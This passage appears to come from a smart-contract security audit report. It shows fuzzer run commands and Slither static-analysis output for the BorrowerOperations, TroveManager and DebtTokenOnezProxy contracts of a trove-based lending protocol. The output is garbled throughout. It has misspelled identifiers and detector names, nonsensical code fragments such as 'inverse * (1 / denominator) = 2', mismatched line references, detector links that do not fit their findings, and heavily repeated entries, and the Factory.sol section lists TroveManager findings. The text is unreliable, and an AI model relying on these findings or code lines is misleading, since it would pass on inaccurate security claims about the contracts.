1 export FUZZ_ENTROPY=$(echo -n $RANDOM); forge test -vvv --match-
↳ contract Fuzzer --match-test test_all_properties
```

To run the fuzzer with 10 runs:

Listing 22

```
1 for i in `seq 1 10`; do export FUZZ_ENTROPY=$(echo -n $RANDOM);
↳ forge test -vv --match-contract Fuzzer --match-test
↳ test_all_properties; done
```

AUTOMATED TESTING

DRAFT

7.1 STATIC ANALYSIS REPORT

Description:

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified the smart contracts in the repository and was able to compile them correctly into their ABIS and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

Slither results:

- **BorrowerOperations.sol**

```
INFO:Detectors:
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator / two (node_modules/openzeppelin/contracts/utils/math/Math.sol#117)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator * 2 (node_modules/openzeppelin/contracts/utils/math/Math.sol#117)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator * inverse (node_modules/openzeppelin/contracts/utils/math/Math.sol#121)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator * inverse (node_modules/openzeppelin/contracts/utils/math/Math.sol#122)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator / two (node_modules/openzeppelin/contracts/utils/math/Math.sol#108)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator * inverse (node_modules/openzeppelin/contracts/utils/math/Math.sol#123)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator / two (node_modules/openzeppelin/contracts/utils/math/Math.sol#108)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator * inverse (node_modules/openzeppelin/contracts/utils/math/Math.sol#124)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator / two (node_modules/openzeppelin/contracts/utils/math/Math.sol#108)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator * inverse (node_modules/openzeppelin/contracts/utils/math/Math.sol#125)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator / two (node_modules/openzeppelin/contracts/utils/math/Math.sol#108)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator * inverse (node_modules/openzeppelin/contracts/utils/math/Math.sol#126)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator / two (node_modules/openzeppelin/contracts/utils/math/Math.sol#108)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator * inverse (node_modules/openzeppelin/contracts/utils/math/Math.sol#127)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator / two (node_modules/openzeppelin/contracts/utils/math/Math.sol#108)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator * inverse (node_modules/openzeppelin/contracts/utils/math/Math.sol#128)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator / two (node_modules/openzeppelin/contracts/utils/math/Math.sol#108)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator * inverse (node_modules/openzeppelin/contracts/utils/math/Math.sol#129)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator / two (node_modules/openzeppelin/contracts/utils/math/Math.sol#108)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator * inverse (node_modules/openzeppelin/contracts/utils/math/Math.sol#130)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator / two (node_modules/openzeppelin/contracts/utils/math/Math.sol#108)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator * inverse (node_modules/openzeppelin/contracts/utils/math/Math.sol#131)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator / two (node_modules/openzeppelin/contracts/utils/math/Math.sol#108)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#55-135) performs a multiplication on the result of a division:
- denominator = denominator * inverse (node_modules/openzeppelin/contracts/utils/math/Math.sol#132)
INFO:Detectors:
BorrowerOperations.openTrove((TroveManager,address,uint256,uint256,uint256,address,address).vars (contracts/core/BorrowerOperations.sol#204)) is a local variable never initialized
BorrowerOperations.adjustTrove((TroveManager,address,uint256,uint256,uint256,uint256,bool,address,address).vars (contracts/core/BorrowerOperations.sol#416)) is a local variable never initialized
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divided-before-multiply
INFO:Detectors:
BorrowerOperations.constructor(address,address,address,uint256,uint256) (contracts/core/BorrowerOperations.sol#m9-102) ignores return value by debtToken.underlyng().approve(address(debtToken),type)()
INFO:Detectors:
BorrowerOperations.burnWithGasCompensation((Address,uint256)(contracts/core/BorrowerOperations.sol#m197-200)) (contracts/core/BorrowerOperations.sol#m197-200) ignores return value by debtToken.mIntWithGasCompensation(msg.sender,_d ebtAmount) (contracts/core/BorrowerOperations.sol#277)
BorrowerOperations.closeTrove((TroveManager,address) (contracts/core/BorrowerOperations.sol#496-539)) ignores return value by debtToken.burnWithGasCompensation(msg.sender,debt - DEBT_GAS_COMPENSATION) (contracts/core/BorrowerOperations.sol#496-539)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#arbitrary-fractions-in-transfer
INFO:Detectors:
DebtTokenOnezProxy.burnNthGasCompensation((address,uint256)) (contracts/core/DebtTokenOnezProxy.sol#67-77) uses arbitrary from in transferFrom: onez.transferFrom(_account,address(this),_amount) (contracts/core/btTokenOnezProxy.sol#73)
DebtTokenOnezProxy.burnNthGasCompensation((Address,uint256)) (contracts/core/DebtTokenOnezProxy.sol#68-77) uses arbitrary from in transferFrom: onez.transferFrom(gasPool,address(this),DEBT_GAS_COMPENSATION) (contracts/core/btTokenOnezProxy.sol#74)
DebtTokenOnezProxy.burnNthGasCompensation((address,uint256)) (contracts/core/DebtTokenOnezProxy.sol#m107-111) uses arbitrary from in transferFrom: onez.transferFrom(_account,address(this),_amount) (contracts/core/DebtTokenOnezProxy.sol#109)
DebtTokenOnezProxy.sendToSP((address,uint256)) (contracts/core/DebtTokenOnezProxy.sol#93-99) uses arbitrary from in transferFrom: onez.transferFrom(_account,address(this),_amount) (contracts/core/DebtTokenOnezProxy.sol#98)
DebtTokenOnezProxy.sendToSP((address,uint256)) (contracts/core/DebtTokenOnezProxy.sol#101-111) uses arbitrary from in transferFrom: onez.transferFrom(_poolAddress,_receiver,_amount) (contracts/core/DebtTokenOnezProxy.sol#102)
DebtTokenOnezProxy.burnNthGasCompensation((address,uint256)) (contracts/core/DebtTokenOnezProxy.sol#68-77) ignores return value by onez.transferFrom(_account,address(this),_amount) (contracts/core/btTokenOnezProxy.sol#74)
DebtTokenOnezProxy.burnNthGasCompensation((address,uint256)) (contracts/core/DebtTokenOnezProxy.sol#68-77) ignores return value by onez.transferFrom(gasPool,address(this),DEBT_GAS_COMPENSATION) (contracts/core/btTokenOnezProxy.sol#74)
DebtTokenOnezProxy.burnNthGasCompensation((address,uint256)) (contracts/core/DebtTokenOnezProxy.sol#68-77) ignores return value by onez.transferFrom(_account,address(this),_amount) (contracts/core/btTokenOnezProxy.sol#88)
DebtTokenOnezProxy.burnNthGasCompensation((address,uint256)) (contracts/core/DebtTokenOnezProxy.sol#68-77) ignores return value by onez.transferFrom(_sender,msg.sender,_amount) (contracts/core/btTokenOnezProxy.sol#88)
DebtTokenOnezProxy.returnFromPool((address,address,uint256)) (contracts/core/DebtTokenOnezProxy.sol#101-111) ignores return value by onez.transferFrom(_poolAddress,_receiver,_amount) (contracts/core/btTokenOnezProxy.sol#110)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#arbitrary-from-in-transfer
INFO:Detectors:
DebtTokenOnezProxy.closeTrove((address,address,uint256,uint256)) (contracts/core/TroveManager.sol#130-132)
External calls to TroveManager.closeTrove((address,address,uint256,uint256)) (contracts/core/TroveManager.sol#130-132):
- _closeTrove_borrower.status._closedByOwner (contracts/core/TroveManager.sol#131)
- _closeTrove_borrower._sortedCollateral._removeBorrower (contracts/core/TroveManager.sol#130)
- _sendCollateral_recipient._collateral (contracts/core/TroveManager.sol#131)
- _collateral._addAddress (address) (contracts/core/TroveManager.sol#130)
- _collateral._openSafeTransfer_(account,_amount) (contracts/core/TroveManager.sol#130)
- _success,_returnData = target.calldata.value(data) (node_modules/openzeppelin/contracts/utils/Address.sol#135)
External calls to TroveManager.closeTrove((address,address,uint256,uint256)) (contracts/core/TroveManager.sol#130-132):
- _sendCollateral_recipient._collateral (contracts/core/TroveManager.sol#131)
- _success,_returnData = target.calldata.value(data) (node_modules/openzeppelin/contracts/utils/Address.sol#135)
State variables written after the calls():
- _resetStake((address) (contracts/core/TroveManager.sol#139))
- _totalActiveCollateral = 0 (contracts/core/TroveManager.sol#139)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unchecked-transfer
INFO:Detectors:
TroveManager.getWeekAndDay() (contracts/core/TroveManager.sol#426-431) uses a weak PRNG: "day = (duration % 604800) / 86400 (contracts/core/TroveManager.sol#429)"
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#weak-prng
INFO:Detectors:
Reentrancy in TroveManager.closeTrove((address,address,uint256,uint256)) (contracts/core/TroveManager.sol#130-132):
External calls to TroveManager.closeTrove((address,address,uint256,uint256)) (contracts/core/TroveManager.sol#130-132):
- _closeTrove_borrower.status._closedByOwner (contracts/core/TroveManager.sol#131)
- _closeTrove_borrower._sortedCollateral._removeBorrower (contracts/core/TroveManager.sol#130)
- _sendCollateral_recipient._collateral (contracts/core/TroveManager.sol#131)
- _collateral._addAddress (address) (contracts/core/TroveManager.sol#130)
- _collateral._openSafeTransfer_(account,_amount) (contracts/core/TroveManager.sol#130)
- _success,_returnData = target.calldata.value(data) (node_modules/openzeppelin/contracts/utils/Address.sol#135)
External calls to TroveManager.closeTrove((address,address,uint256,uint256)) (contracts/core/TroveManager.sol#130-132):
- _sendCollateral_recipient._collateral (contracts/core/TroveManager.sol#131)
- _success,_returnData = target.calldata.value(data) (node_modules/openzeppelin/contracts/utils/Address.sol#135)
State variables written after the calls():
- _resetStake((address) (contracts/core/TroveManager.sol#139))
- _totalActiveCollateral = 0 (contracts/core/TroveManager.sol#139)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy
```

- **Factory.sol**

```
INFO:Detectors:
TroveManager.getWeekAndDay() (contracts/core/TroveManager.sol#426-431) uses a weak PRNG: "day = (duration % 604800) / 86400 (contracts/core/TroveManager.sol#429)"
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#weak-prng
INFO:Detectors:
Reentrancy in TroveManager.closeTrove((address,address,uint256,uint256)) (contracts/core/TroveManager.sol#130-132):
External calls to TroveManager.closeTrove((address,address,uint256,uint256)) (contracts/core/TroveManager.sol#130-132):
- _closeTrove_borrower.status._closedByOwner (contracts/core/TroveManager.sol#131)
- _closeTrove_borrower._sortedCollateral._removeBorrower (contracts/core/TroveManager.sol#130)
- _sendCollateral_recipient._collateral (contracts/core/TroveManager.sol#131)
- _collateral._addAddress (address) (contracts/core/TroveManager.sol#130)
- _collateral._openSafeTransfer_(account,_amount) (contracts/core/TroveManager.sol#130)
- _success,_returnData = target.calldata.value(data) (node_modules/openzeppelin/contracts/utils/Address.sol#135)
External calls to TroveManager.closeTrove((address,address,uint256,uint256)) (contracts/core/TroveManager.sol#130-132):
- _sendCollateral_recipient._collateral (contracts/core/TroveManager.sol#131)
- _success,_returnData = target.calldata.value(data) (node_modules/openzeppelin/contracts/utils/Address.sol#135)
State variables written after the calls():
- _resetStake((address) (contracts/core/TroveManager.sol#139))
- _totalActiveCollateral = 0 (contracts/core/TroveManager.sol#139)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy
```


AUTOMATED TESTING

```

- TroveManager.getTroveSystemDebt() (contracts/core/TroveManager.sol#50-519)
- TroveManager.openTrove(address,uint256,uint256,address,address,bool) (contracts/core/TroveManager.sol#1194-1239)
- _resetState() (contracts/core/TroveManager.sol#900)

    - lastIndexUpdated = block.timestamp (contracts/core/TroveManager.sol#133)
    - TroveManager.lastIndexUpdated (events/LastIndexUpdated.sol#133) can be used in cross function reentrances:
        - TroveManager._accrueActiveInterests() (contracts/core/TroveManager.sol#1096-1714)
        - TroveManager._calculateInterestIndex() (contracts/core/TroveManager.sol#1176-1742)
        - TroveManager._redeemCloseTrove(address,uint256,uint256,address,address,uint256) (contracts/core/TroveManager.sol#1184)
        - TroveManager._lastActiveIndexUpdate (contracts/core/TroveManager.sol#184)
        - TroveManager.setAddressses(address,address,address) (contracts/core/TroveManager.sol#270-284)
        - TroveManager.setPendingRewards(address,uint256,uint256,address,address,uint256) (contracts/core/TroveManager.sol#353-407)
        - TroveManager.setTroveSystemDebt(address,uint256,uint256,address,address,address) (contracts/core/TroveManager.sol#353-407)
        - TroveManager.sendCollateral(msg.sender,totals.collateralToSendToDeemer) (contracts/core/TroveManager.sol#199)
        - _sendCollateral(msg.sender,totals.collateralToSendToDeemer) (contracts/core/TroveManager.sol#199)
        - totalActiveCollateral = totals.collateralTotal - amount (contracts/core/TroveManager.sol#199)
        - TroveManager.totalActiveCollateral (events/LastIndexUpdated.sol#133) can be used in cross function reentrances:
            - TroveManager._novePendingTroveRewardsToActiveBalance(uint256,uint256) (contracts/core/TroveManager.sol#1545-1553)
            - TroveManager._redeemCloseTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1995-1005)
            - TroveManager._redistributeDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#1597-1641)
            - TroveManager._resetState() (contracts/core/TroveManager.sol#128-134)
            - TroveManager._sendCollateral(address,uint256) (contracts/core/TroveManager.sol#1645-1652)
            - TroveManager._finalizeLiquidation(address,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1563-1595)
            - TroveManager._getTroveSystemDebt() (contracts/core/TroveManager.sol#503-505)
            - TroveManager._getTotalActiveCollateral() (contracts/core/TroveManager.sol#500-502)
            - TroveManager.openTrove(address,uint256,uint256,uint256,uint256,address,address,uint256,address,address,address) (contracts/core/TroveManager.sol#1194-1239)
            - _resetState() (contracts/core/TroveManager.sol#900)
            - totalActiveCollateral = 0 (contracts/core/TroveManager.sol#133)
        - TroveManager.totalActiveDebt (contracts/core/TroveManager.sol#119) can be used in cross function reentrances:
            - TroveManager._accrueActiveInterests() (contracts/core/TroveManager.sol#1096-1714)
            - TroveManager._decreaseDebt(address,uint256) (contracts/core/TroveManager.sol#1176-1181)
            - TroveManager._increaseDebt(address,uint256) (contracts/core/TroveManager.sol#1045-1066)
            - TroveManager._redeemCloseTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1545-1553)
            - TroveManager._redistributeDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#1597-1641)
            - TroveManager._resetState() (contracts/core/TroveManager.sol#128-134)
            - TroveManager._sendCollateral(address,uint256) (contracts/core/TroveManager.sol#1645-1652)
            - TroveManager._finalizeLiquidation(address,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1563-1595)
            - TroveManager._getTroveSystemDebt() (contracts/core/TroveManager.sol#503-505)
            - TroveManager._getTotalActiveDebt() (contracts/core/TroveManager.sol#500-502)
            - TroveManager.openTrove(address,uint256,uint256,uint256,uint256,address,address,uint256,address,address,address) (contracts/core/TroveManager.sol#1194-1239)
            - _resetState() (contracts/core/TroveManager.sol#900)
            - totalActiveDebt = 0 (contracts/core/TroveManager.sol#1340)
        - TroveManager.totalActiveDebt (contracts/core/TroveManager.sol#119) can be used in cross function reentrances:
            - TroveManager._accrueActiveInterests() (contracts/core/TroveManager.sol#1096-1714)
            - TroveManager._decreaseDebt(address,uint256) (contracts/core/TroveManager.sol#1176-1181)
            - TroveManager._increaseDebt(address,uint256) (contracts/core/TroveManager.sol#1045-1066)
            - TroveManager._redeemCloseTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1545-1553)
            - TroveManager._redistributeDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#1597-1641)
            - TroveManager._resetState() (contracts/core/TroveManager.sol#128-134)
            - TroveManager._sendCollateral(address,uint256) (contracts/core/TroveManager.sol#1645-1652)
            - TroveManager._finalizeLiquidation(address,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1563-1595)
            - TroveManager._getTroveSystemDebt() (contracts/core/TroveManager.sol#503-505)
            - TroveManager._getTotalActiveDebt() (contracts/core/TroveManager.sol#500-502)
            - TroveManager.openTrove(address,uint256,uint256,uint256,uint256,address,address,uint256,address,address,address) (contracts/core/TroveManager.sol#1194-1239)
            - _resetState() (contracts/core/TroveManager.sol#900)
            - totalActiveDebt = 0 (contracts/core/TroveManager.sol#1340)
        - TroveManager.totalCollateralSnapshot (contracts/core/TroveManager.sol#101) can be used in cross function reentrances:
            - TroveManager._closeTrove(address,address,uint256) (contracts/core/TroveManager.sol#1303-1320)
            - TroveManager._resetState() (contracts/core/TroveManager.sol#128-134)
            - TroveManager._sendCollateral(address,uint256) (contracts/core/TroveManager.sol#1645-1652)
            - TroveManager._totalStakes (contracts/core/TroveManager.sol#105)
            - _resetState() (contracts/core/TroveManager.sol#900)
            - totalCollateralSnapshot = 0 (contracts/core/TroveManager.sol#1314)
        - TroveManager.totalCollateralSnapshot (contracts/core/TroveManager.sol#101) can be used in cross function reentrances:
            - TroveManager._closeTrove(address,address,uint256) (contracts/core/TroveManager.sol#1303-1320)
            - TroveManager._resetState() (contracts/core/TroveManager.sol#128-134)
            - TroveManager._sendCollateral(address,uint256) (contracts/core/TroveManager.sol#1645-1652)
            - TroveManager._totalStakes (contracts/core/TroveManager.sol#105)
            - _resetState() (contracts/core/TroveManager.sol#900)
            - totalCollateralSnapshot = 0 (contracts/core/TroveManager.sol#1314)
        - TroveManager.totalStakes (contracts/core/TroveManager.sol#89) can be used in cross function reentrances:
            - TroveManager._computeNewTake(uint256) (contracts/core/TroveManager.sol#1505-1524)
            - TroveManager._debtTokenBurn(address,uint256) (contracts/core/TroveManager.sol#1579)
            - TroveManager._finalizeLiquidation(address,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1563-1595)
            - TroveManager._getTroveSystemDebt() (contracts/core/TroveManager.sol#119)
            - TroveManager._getTotalStakes() (contracts/core/TroveManager.sol#95)
            - _resetState() (contracts/core/TroveManager.sol#900)
            - totalStakes = 0 (contracts/core/TroveManager.sol#132)
        - TroveManager.totalStakes (contracts/core/TroveManager.sol#89) can be used in cross function reentrances:
            - TroveManager._computeNewTake(uint256) (contracts/core/TroveManager.sol#1505-1524)
            - TroveManager._debtTokenBurn(address) (contracts/core/TroveManager.sol#1579)
            - TroveManager._finalizeLiquidation(address,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1563-1595)
            - TroveManager._getTroveSystemDebt() (contracts/core/TroveManager.sol#119)
            - TroveManager._getTotalStakes() (contracts/core/TroveManager.sol#95)
            - _resetState() (contracts/core/TroveManager.sol#900)
            - totalStakes = 0 (contracts/core/TroveManager.sol#132)
        - TroveManager.totalStakesSnapshot (contracts/core/TroveManager.sol#89) can be used in cross function reentrances:
            - TroveManager._computeNewTake(uint256) (contracts/core/TroveManager.sol#1505-1524)
            - TroveManager._debtTokenBurn(address) (contracts/core/TroveManager.sol#1579)
            - TroveManager._finalizeLiquidation(address,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1563-1595)
            - TroveManager._getTroveSystemDebt() (contracts/core/TroveManager.sol#119)
            - TroveManager._getTotalStakes() (contracts/core/TroveManager.sol#95)
            - _resetState() (contracts/core/TroveManager.sol#900)
            - totalStakesSnapshot = target.call.value:value(data) (node_modules/openzeppelin/contracts/utils/Address.sol#135)
        External calls sending eth:
        - _sendCollateral(_receiver,_collChange) (contracts/core/TroveManager.sol#1284)
        - _successes,returnData = target.call.value:value(data) (node_modules/openzeppelin/contracts/utils/Address.sol#135)
        State variables written after the calls:
        - tcollateral = _sendCollateral(_receiver,_collChange) (contracts/core/TroveManager.sol#1286)
        TroveManager.Troves (contract/core/TroveManager.sol#1542) can be used in cross function reentrances:
        - TroveManager._applyPendingRewards(address) (contracts/core/TroveManager.sol#149-149)
        - TroveManager._computeNewTake(uint256) (contracts/core/TroveManager.sol#1345-1378)
        - TroveManager._redeemCollateralFromTrove(address,address,uint256,uint256,address,address,uint256) (contracts/core/TroveManager.sol#984-986)
        - TroveManager._removeStake(address) (contracts/core/TroveManager.sol#1404-1408)
        - TroveManager._resetState() (contracts/core/TroveManager.sol#128-134)
        - TroveManager._sendCollateral(address,uint256) (contracts/core/TroveManager.sol#1579-1581)
        - TroveManager._closeTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1303-1328)
        - TroveManager._closeTroveByLiquidation(address) (contracts/core/TroveManager.sol#1528-1538)
        - TroveManager._getPendingCollAndDebtRewards(address) (contracts/core/TroveManager.sol#579-595)
        - TroveManager._getPendingDebtRewards(address) (contracts/core/TroveManager.sol#579-595)
        - TroveManager._getPendingPayouts(address) (contracts/core/TroveManager.sol#449-451)
        - TroveManager._getPendingRewards(address) (contracts/core/TroveManager.sol#597-608)
        - TroveManager._openTrove(address,uint256,uint256,address,address,uint256,address,address,address) (contracts/core/TroveManager.sol#1194-1301)
        Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#entrance-vulnerabilities
INFO:Dectorator
TroveManager._redistributeDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#597-1642) performs a multiplication on the result of a division:
    - collateralErrorPerUnitStaked = collateralNumerator / totalStakesCached (contracts/core/TroveManager.sol#1018-1019)
    - lastCollateralErrorPerUnitStaked = collateralNumerator / totalStakesCached (contracts/core/TroveManager.sol#1022-1024)
TroveManager._debtErrorPerUnitStaked = debtNumerator / totalStakesCached (contracts/core/TroveManager.sol#1018-1019)
    - debtErrorPerUnitStaked = debtNumerator / totalStakesCached (contracts/core/TroveManager.sol#1022-1024)
    - lastDebtErrorPerUnitStaked = debtNumerator / totalStakesCached (contracts/core/TroveManager.sol#1022-1024)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#139) performs a multiplication on the result of a division:
    - denominator = denominator / two (node_modules/openzeppelin/contracts/math/Math.sol#102)
    - inverse = 1 / denominator (node_modules/openzeppelin/contracts/math/Math.sol#117)
    - inverse * (1 / denominator) = 2 (node_modules/openzeppelin/contracts/math/Math.sol#135)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#139) performs a multiplication on the result of a division:
    - denominator = denominator / two (node_modules/openzeppelin/contracts/math/Math.sol#102)
    - inverse = 1 / denominator (node_modules/openzeppelin/contracts/math/Math.sol#117)
    - inverse * (1 / denominator) = inverse (node_modules/openzeppelin/contracts/math/Math.sol#121)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#139) performs a multiplication on the result of a division:
    - denominator = denominator / two (node_modules/openzeppelin/contracts/math/Math.sol#102)
    - inverse = 1 / denominator (node_modules/openzeppelin/contracts/math/Math.sol#117)
    - inverse * (1 / denominator) = inverse (node_modules/openzeppelin/contracts/math/Math.sol#121)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#139) performs a multiplication on the result of a division:
    - denominator = denominator / two (node_modules/openzeppelin/contracts/math/Math.sol#102)
    - inverse = 1 / denominator (node_modules/openzeppelin/contracts/math/Math.sol#117)
    - inverse * (1 / denominator) = inverse (node_modules/openzeppelin/contracts/math/Math.sol#121)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#139) performs a multiplication on the result of a division:
    - denominator = denominator / two (node_modules/openzeppelin/contracts/math/Math.sol#102)
    - inverse = 1 / denominator (node_modules/openzeppelin/contracts/math/Math.sol#117)
    - inverse * (1 / denominator) = inverse (node_modules/openzeppelin/contracts/math/Math.sol#121)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#139) performs a multiplication on the result of a division:
    - denominator = denominator / two (node_modules/openzeppelin/contracts/math/Math.sol#102)
    - inverse = 1 / denominator (node_modules/openzeppelin/contracts/math/Math.sol#117)
    - inverse * (1 / denominator) = inverse (node_modules/openzeppelin/contracts/math/Math.sol#121)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#139) performs a multiplication on the result of a division:
    - denominator = denominator / two (node_modules/openzeppelin/contracts/math/Math.sol#102)
    - inverse = 1 / denominator (node_modules/openzeppelin/contracts/math/Math.sol#117)
    - inverse * (1 / denominator) = inverse (node_modules/openzeppelin/contracts/math/Math.sol#121)
Math.mulDiv(uint256,uint256,uint256) (node_modules/openzeppelin/contracts/math/Math.sol#139) performs a multiplication on the result of a division:
    - denominator = denominator / two (node_modules/openzeppelin/contracts/math/Math.sol#102)
    - inverse = 1 / denominator (node_modules/openzeppelin/contracts/math/Math.sol#117)
    - inverse * (1 / denominator) = inverse (node_modules/openzeppelin/contracts/math/Math.sol#121)
    - result = prod0 * inverse (node_modules/openzeppelin/contracts/math/Math.sol#132)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Dectorator
TroveManager._calculateInterestIndex() (contracts/core/TroveManager.sol#1716-1742) uses a dangerous strict equality:
    - lastIndexUpdated cache = block.timestamp (contracts/core/TroveManager.sol#1723)
TroveManager._computeNewTake(uint256) (contracts/core/TroveManager.sol#1505-1524) uses a dangerous strict equality:
    - lastCollateralSnapshot = collateralNumerators (node_modules/openzeppelin/contracts/math/Math.sol#124)
TroveManager._redeemCollateralFromTrove(ISortedTrove,address,uint256,uint256,address,address,uint256) (contracts/core/TroveManager.sol#904-986) uses a dangerous strict equality:
    - newDebt = DEBT GAS COMPENSATION (contracts/core/TroveManager.sol#923)
TroveManager._redeemCollateralFromTrove(ISortedTrove,address,uint256,uint256,address,address,uint256) (contracts/core/TroveManager.sol#1172-1198) uses a dangerous strict equality:
    - data.day == day && data.week == week (contracts/core/TroveManager.sol#1381)
TroveManager.getPendingCollAndDebtRewards(address) (contracts/core/TroveManager.sol#579-595) uses a dangerous strict equality:
    - coll + debt == 0 || Trove.borrower.status != Status.active (contracts/core/TroveManager.sol#587)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dangerous-strict-equalities

```

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INFO:Detector:
TroveManager._calculateInterestIndex() (contracts/core/TroveManager.sol#1716-1742) uses a dangerous strict equality:
- lastIndexUpdateCached == block.timestamp (contracts/core/TroveManager.sol#1723)
TroveManager._redeemCollateralFromTrove() (contracts/core/TroveManager.sol#1080-1096) uses a dangerous strict equality:
- initialCollateralValue != 0 (contracts/core/TroveManager.sol#1080)
TroveManager._redeemCollateralFromTrove1(SortedTroves,address,uint256,uint256,address,address,uint256) (contracts/core/TroveManager.sol#904-986) uses a dangerous strict equality:
- newDebt == DEBT_GAS_REDEMPTION (contracts/core/TroveManager.sol#1096)
- data.day == day & data.week == week (contracts/core/TroveManager.sol#1372-1398) uses a dangerous strict equality:
TroveManager.getPendingCollAndDebtRewards(address) (contracts/core/TroveManager.sol#579-595) uses a dangerous strict equality:
- debt >= 0 || !borrowerStatus (contracts/core/TroveManager.sol#587)
Reference: https://github.com/crytic/slither/wiki/DetectorDocumentation#dangerous-strict-equalities
INFO:Detector:
Reentrancy in TroveManager._claimReward(address) (contracts/core/TroveManager.sol#1059-1074):
External calls:
- applyPendingRewards(account) (contracts/core/TroveManager.sol#1062)
- amount = vault.allocateNewEmissions(id,debt) (contracts/core/TroveManager.sol#1169)
State variables written after the calls():
- State variable written after the call(s):
- storedPendingReward[account] = 0 (contracts/core/TroveManager.sol#1064)
TroveManager._claimReward(address) (contracts/core/TroveManager.sol#1059-1074) can be used in cross function reentrances:
